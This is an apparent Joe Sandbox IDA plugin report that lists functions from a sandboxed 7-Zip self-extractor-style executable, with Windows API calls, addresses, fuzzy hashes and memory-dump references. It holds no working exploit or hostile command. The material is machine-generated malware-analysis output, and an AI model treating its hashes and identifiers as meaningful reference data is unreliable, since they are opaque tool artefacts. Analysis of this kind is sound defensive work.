Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@??3@memmove
String ID: hA
API String ID: 3828600508-1221461045
Opcode ID: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
Opcode Fuzzy Hash: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE

Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
memcmp.MSVCRT(00000000,?,?), ref: 00402F84
memcmp.MSVCRT(00000000,?,?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FC1
memmove.MSVCRT(?,?,00000000,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FF3

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55

Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,0041E9E8,ExecuteFile,00000025,00000025,?,00406D79,?,0041E9E8,0041E9E8), ref: 004019DF
??2@YAPAXI@Z.MSVCRT(0000000C), ref: 00401A23
??2@YAPAXI@Z.MSVCRT(00000044), ref: 00401A7B

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Strings

ExecuteFile, xrefs: 004019D7

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
String ID: ExecuteFile
API String ID: 1592922708-323923146
Opcode ID: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
Opcode Fuzzy Hash: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69

Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E

Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414DD8
??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 00414F76
??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 00415049

Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0041505A,00000000,00000001), ref: 0041536E

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@$H_prolog
String ID:
API String ID: 3431946709-0
Opcode ID: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
Opcode Fuzzy Hash: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98

Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

??3@YAXPAX@Z.MSVCRT(0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404117
??3@YAXPAX@Z.MSVCRT(?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 0040411F
??3@YAXPAX@Z.MSVCRT(?,?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404127

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
Opcode Fuzzy Hash: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59

Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415EEF

Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00415F9F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00415FDE

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15

Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9

Strings

@, xrefs: 004029DC

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 8a9aa48f9070ee96bf63fde4069f08434787f301be68acc01994b4796d983c6a
Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
Opcode Fuzzy Hash: 8a9aa48f9070ee96bf63fde4069f08434787f301be68acc01994b4796d983c6a
Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D

Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E

??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 0041821D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 00418381

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID:
API String ID: 2803161813-0
Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58

Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
Opcode Fuzzy Hash: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754

Function 00402805 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402815
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402839

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction ID: bcdea4c81718d913e52e4f2a3d02f3e10d2d0235028ef0e1c46e76d630642e7e
Opcode Fuzzy Hash: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction Fuzzy Hash: 9AF0903A0046419FC330AF2AC594843FBE8EB59714720CD7FE1D6D36A2C674A880C764

Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
GetLastError.KERNEL32(?,?,?,?), ref: 0041232E

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65

Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 004134D2
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4

Function 004143A1 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004143D6

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: a5f2d7237813c990e40069af46c32fbbc70be7282d3e3fe7c7570c906ef1087d
Instruction ID: cd62177f8338b91460b71a425ed9147b2bdb3dfef56ead52da7ce74447b44359
Opcode Fuzzy Hash: a5f2d7237813c990e40069af46c32fbbc70be7282d3e3fe7c7570c906ef1087d
Instruction Fuzzy Hash: FEF0903260010CBB9B11AF55C8418FFB76DEF91764704802FFC189B301D679EE8187A4

Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59

Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041229A: CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95

Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55

Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00418395

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_846a1e1ef7.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68

Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 0040757B

Memory Dump Source

Source File: 00000016.00000002.2967134111.0000000000401000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2967039009.0000000000400000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967264919.000000000041A000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000016.00000002.2967346162.000000000041E000.00000004.00000001.01000000.0000001A.sdmpDownload File
